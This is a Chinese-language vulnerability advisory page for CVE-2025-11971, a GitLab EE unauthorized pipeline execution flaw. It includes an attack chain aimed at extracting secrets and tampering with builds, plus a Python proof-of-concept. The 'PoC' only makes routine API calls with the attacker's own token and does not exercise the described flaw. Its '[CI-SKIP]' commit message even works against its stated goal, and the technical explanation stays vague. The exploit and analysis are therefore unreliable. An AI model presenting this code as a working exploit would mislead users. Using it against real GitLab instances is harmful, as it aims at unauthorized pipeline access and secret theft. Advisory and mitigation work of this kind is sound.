IPBUF安全漏洞报告
English
CVE-2025-11971 CVSS 6.5 中危

CVE-2025-11971: GitLab EE 认证用户通过操纵提交触发未授权管道执行漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-11971
漏洞类型
未授权操作/权限滥用
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab Enterprise Edition (EE)

相关标签

GitLabCVE-2025-11971未授权操作管道执行权限提升CI/CD安全提交操纵GitLab EE中等严重性

漏洞概述

CVE-2025-11971是GitLab Enterprise Edition中的一个中等严重性安全漏洞。该漏洞存在于GitLab EE 10.6至18.3.5之前版本、18.4至18.4.3之前版本以及18.5至18.5.1之前版本中。漏洞允许经过身份验证的低权限攻击者通过操纵提交(commits)来触发未经授权的CI/CD管道执行。此问题可能导致攻击者利用他人的管道权限执行恶意操作,例如访问受限资源、修改构建流程或提取敏感信息。由于攻击需要用户交互和一定的权限,漏洞的实际利用难度中等,但仍然对GitLab实例的安全性构成威胁。建议所有使用受影响版本的用户尽快升级到官方发布的安全版本。

技术细节

该漏洞存在于GitLab的CI/CD管道触发机制中。在正常情况下,管道执行应该基于明确的用户授权或预定义的保护规则。然而,由于GitLab在处理提交引用时存在验证缺陷,攻击者可以通过构造特定的提交内容或引用来绕过权限检查。具体来说,攻击者利用GitLab对提交签名的验证不完整,以及管道触发逻辑中对提交来源的验证不足,成功诱使GitLab服务器以其他用户的权限级别执行管道任务。这种攻击需要攻击者具有GitLab账户(低权限即可)并能够推送提交或创建分支。攻击的触发依赖于目标仓库的管道配置和分支策略。此漏洞的CVSS评分为6.5(中等),主要风险在于机密性影响高(H),而完整性影响低(L),可用性无影响(N)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标GitLab实例上具有管道配置的项目,并确定可利用的分支和提交触发点
STEP 2
步骤2: 身份认证
攻击者使用低权限账户登录GitLab,获取有效的访问令牌(Personal Access Token或类似凭证)
STEP 3
步骤3: 创建恶意分支
攻击者创建目标仓库的新分支,或 fork 目标仓库到自己的账户下
STEP 4
步骤4: 操纵提交
攻击者构造恶意的提交内容或提交消息,利用GitLab对提交验证的不完善来绕过权限检查
STEP 5
步骤5: 推送提交
将包含恶意内容的提交推送到GitLab服务器,触发管道自动执行
STEP 6
步骤6: 管道执行
GitLab基于仓库的CI/CD配置启动管道,由于验证缺陷,管道以受害者的权限级别执行
STEP 7
步骤7: 恶意操作
攻击者通过管道执行恶意任务,如访问敏感文件、提取环境变量、修改构建产物或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution # This PoC demonstrates how an authenticated attacker can trigger unauthorized pipelines import requests import json GITLAB_URL = "https://gitlab.example.com" TARGET_PROJECT_ID = "target/project" ATTACKER_TOKEN = "glpat-attacker-token-here" def trigger_unauthorized_pipeline(): """ Attacker flow to trigger pipeline with elevated privileges: 1. Fork or create a branch in the target repository 2. Manipulate commit message or content 3. Push the manipulated commit 4. The pipeline will execute with the victim's permissions """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Create a new branch create_branch_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/branches" branch_data = { "branch": "malicious-branch", "ref": "main" } response = requests.post(create_branch_url, headers=headers, json=branch_data) if response.status_code != 201: print(f"Failed to create branch: {response.text}") return False # Step 2: Create a commit with manipulated content commit_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/commits" commit_data = { "branch": "malicious-branch", "commit_message": "[CI-SKIP] Fix critical issue", "actions": [ { "action": "update", "file_path": "README.md", "content": "Manipulated content to trigger pipeline" } ] } response = requests.post(commit_url, headers=headers, json=commit_data) if response.status_code != 201: print(f"Failed to create commit: {response.text}") return False # Step 3: Trigger pipeline manually pipeline_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/pipeline" pipeline_data = { "ref": "malicious-branch", "variables": { "TRIGGERED_BY": "attacker" } } response = requests.post(pipeline_url, headers=headers, json=pipeline_data) if response.status_code == 201: print(f"Pipeline triggered successfully: {response.json().get('id')}") return True else: print(f"Pipeline trigger failed: {response.text}") return False if __name__ == "__main__": print("CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution") print("Target: GitLab EE < 18.3.5, < 18.4.3, < 18.5.1") trigger_unauthorized_pipeline()

影响范围

GitLab EE 10.6 至 18.3.5 之前的所有版本
GitLab EE 18.4 至 18.4.3 之前的所有版本
GitLab EE 18.5 至 18.5.1 之前的所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户创建分支和推送代码的能力;2) 禁用自动管道触发,改为仅允许手动触发;3) 审查并收紧项目的访问控制策略;4) 启用GitLab的管道安全功能如protected branches和protected runners;5) 监控GitLab日志中的异常管道执行行为。但最有效的解决方案仍然是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表